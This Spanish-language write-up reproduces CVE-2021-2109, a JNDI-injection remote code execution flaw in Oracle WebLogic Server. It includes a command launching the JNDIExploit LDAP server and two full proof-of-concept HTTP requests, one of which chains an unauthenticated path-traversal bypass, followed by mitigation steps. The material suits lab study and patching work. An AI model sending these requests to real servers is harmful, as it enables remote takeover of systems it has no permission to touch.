
Reproducción y análisis paso a paso de CVE-2021-2109, una vulnerabilidad de ejecución remota de código en Weblogic Server mediante inyección JNDI, con POC y guía de mitigación.
CVE-2021-2109 Replicación y análisis de la vulnerabilidad de ejecución remota de código en Weblogic Server
En enero de 2021, Oracle publicó parches de seguridad que incluyen 329 nuevos parches de seguridad en la serie de productos Oracle. En este anuncio se mencionó especialmente el aviso de seguridad de Oracle WebLogic Server sobre la vulnerabilidad CVE-2020-14750, publicado el 1 de noviembre de 2020. Se recomienda encarecidamente a los clientes aplicar esta actualización de parche, así como los demás parches de este aviso. El número CVE CVE-2021-2109 corresponde a una vulnerabilidad de ejecución remota de código en Weblogic. La vulnerabilidad se debe principalmente a la inyección JNDI, lo que permite a un atacante explotar esta vulnerabilidad para ejecutar código de forma remota.
Las versiones afectadas son las siguientes: Weblogic Server 10.3.6.0.0 Weblogic Server 12.1.3.0.0 Weblogic Server 12.2.1.3.0 Weblogic Server 12.2.1.4.0 Weblogic Server 14.1.1.0.0
Use DOCKER para construir un entorno de prueba de Weblogic Server. Weblogic Server puede accederse normalmente.

En el primer caso, es necesario usar una cuenta de administrador para iniciar sesión en el backend de Weblogic Server, capturar el paquete de inicio de sesión con BurpSuite y obtener los datos de la cookie de inicio de sesión.

Inicie LDAP en la máquina local. Se puede descargar desde https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11. El comando es: java -jar JNDIExploit-v1.11.jar -i 192.168.131.1

Envíe el paquete POC de inyección JNDI de la vulnerabilidad de ejecución remota de código CVE-2021-2109 de Weblogic Server: POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

Ejecute el comando de sistema ipconfig a través de la variable cmd.

En el segundo caso, no es necesario iniciar sesión en el backend de Weblogic Server. Se debe combinar con la vulnerabilidad de acceso no autorizado CVE-2020-14750 de Weblogic Server. Envíe el paquete POC de inyección JNDI de la vulnerabilidad de ejecución remota de código CVE-2021-2109 de Weblogic Server: POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

Ejecute calc.exe a través de la variable cmd para abrir la calculadora del sistema.


La calculadora del sistema se abre.

Si no depende del protocolo T3 para la comunicación JVM, puede mitigar el impacto de esta vulnerabilidad bloqueando temporalmente el protocolo T3. 1). Acceda a la consola de Weblogic, en la página de configuración de base_domain, ingrese a la pestaña "Seguridad", haga clic en "Filtro" y configure el filtro. 2). En el filtro de conexión, ingrese: weblogic.security.net.ConnectionFilterImpl, y en el cuadro de reglas del filtro de conexión, ingrese: * * 7001 deny t3 t3s.
Inicie sesión en la consola de Weblogic, busque la opción "Habilitar IIOP", desmarque la casilla y reinicie para que surta efecto.